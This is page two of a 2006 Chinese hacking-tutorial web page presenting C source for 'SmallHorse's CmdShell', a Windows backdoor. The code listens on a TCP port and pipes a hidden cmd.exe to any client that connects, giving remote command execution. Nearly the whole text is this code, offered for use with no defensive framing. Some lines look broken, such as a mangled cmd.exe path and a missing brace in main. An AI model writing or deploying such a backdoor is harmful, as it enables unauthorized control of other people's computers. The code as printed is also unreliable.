WEB开发网
开发学院网络安全黑客技术 一个简单的CMDSHELL后门 阅读

一个简单的CMDSHELL后门

 2006-07-04 20:28:05 来源:WEB开发网   
核心提示: // 创建一个 socket. m_socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); if(m_socket==SOCKET_ERROR) return; Service.sin_family = AF_INET; Service.

// 创建一个 socket.
 
m_socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
  if(m_socket==SOCKET_ERROR)
     return;
  Service.sin_family = AF_INET;
  Service.sin_addr.s_addr = htonl(INADDR_ANY);
  Service.sin_port = htons( port );
if(bind( m_socket, (SOCKADDR*)&Service, sizeof(Service) )==SOCKET_ERROR)
    return;//邦定
   if (listen(m_socket,5)==SOCKET_ERROR)
     return;//最大监听列队5个
  printf("\nsmallhorse Listen On Port: %d... ^*^\n",port);
   ClientSize=sizeof(Client);
   while(1)
   {
   AcceptClient=accept(m_socket,(SOCKADDR*)&Client,&ClientSize);
   if(AcceptClient==SOCKET_ERROR)
     return;//接受连接
   printf( "Client Connected.\n");
   char *sendbuf = "/***************************************\\\n\tThanks For Using...\n\tSmallHorse's CmdShell!\n\tGood Luck!\n\\***************************************/\n\n";
  send( AcceptClient, sendbuf, strlen(sendbuf), 0 );
   
   if(CreateThread(NULL,0,ClientThread,(LPVOID)&AcceptClient,0,NULL)==NULL)
     printf("Create Thread Error!\n");
   Sleep(1000);
   }
   WSACleanup();
   return;
}
DWORD WINAPI ClientThread(LPVOID lpParam)
{int ret;
char Buf[1024];
HANDLE Rpipe,Wpipe,Wfile,Rfile;
SOCKET AcceptClient=(SOCKET)*(SOCKET*)lpParam;
SECURITY_ATTRIBUTES sa;
sa.nLength=sizeof(sa);
sa.bInheritHandle=TRUE;
sa.lpSecurityDescriptor=NULL;
ret=CreatePipe(&Rpipe,&Rfile,&sa,0);
ret=CreatePipe(&Wfile,&Wpipe,&sa,0); //建立两个管道,分别用于接收命令和显示结果
STARTUPINFO startinfo;
GetStartupInfo(&startinfo);
startinfo.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput=Wfile;
startinfo.hStdError=startinfo.hStdOutput=Rfile;
startinfo.wShowWindow=SW_HIDE;
char cmdline[MAX_PATH];
GetSystemDirectory(cmdline,MAX_PATH);
   strcat(cmdline,("file://cmd.exe/"));
PROCESS_INFORMATION proinfo;
ret=CreateProcess(cmdline,NULL,NULL,NULL,1,0,NULL,NULL,&startinfo,&proinfo);
unsigned long ByteRec;
while(1)
{
   Sleep(100);
   PeekNamedPipe(Rpipe,Buf,1024,&ByteRec,0,0);
   if(ByteRec){
     ret=ReadFile(Rpipe,Buf,ByteRec,&ByteRec,0);
     if(!ret)
        break;
     ret=send(AcceptClient,Buf,ByteRec,0);
     if(ret<=0)
        break;
   }
   else{
     ByteRec=recv(AcceptClient,Buf,1024,0);
     if(ByteRec<=0)
        break;
     ret=WriteFile(Wpipe,Buf,ByteRec,&ByteRec,0);
     if(!ret)
        break;
   }
}
return 0;
}
int main(int argc, char *argv[])

  Help();
   if(argc==3)
     if(!strcmp(argv[1],"-p"))
        port=atoi(argv[2]);
   OpenDoor();
return 0;
}

上一页  1 2 

Tags:一个 简单 CMDSHELL

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接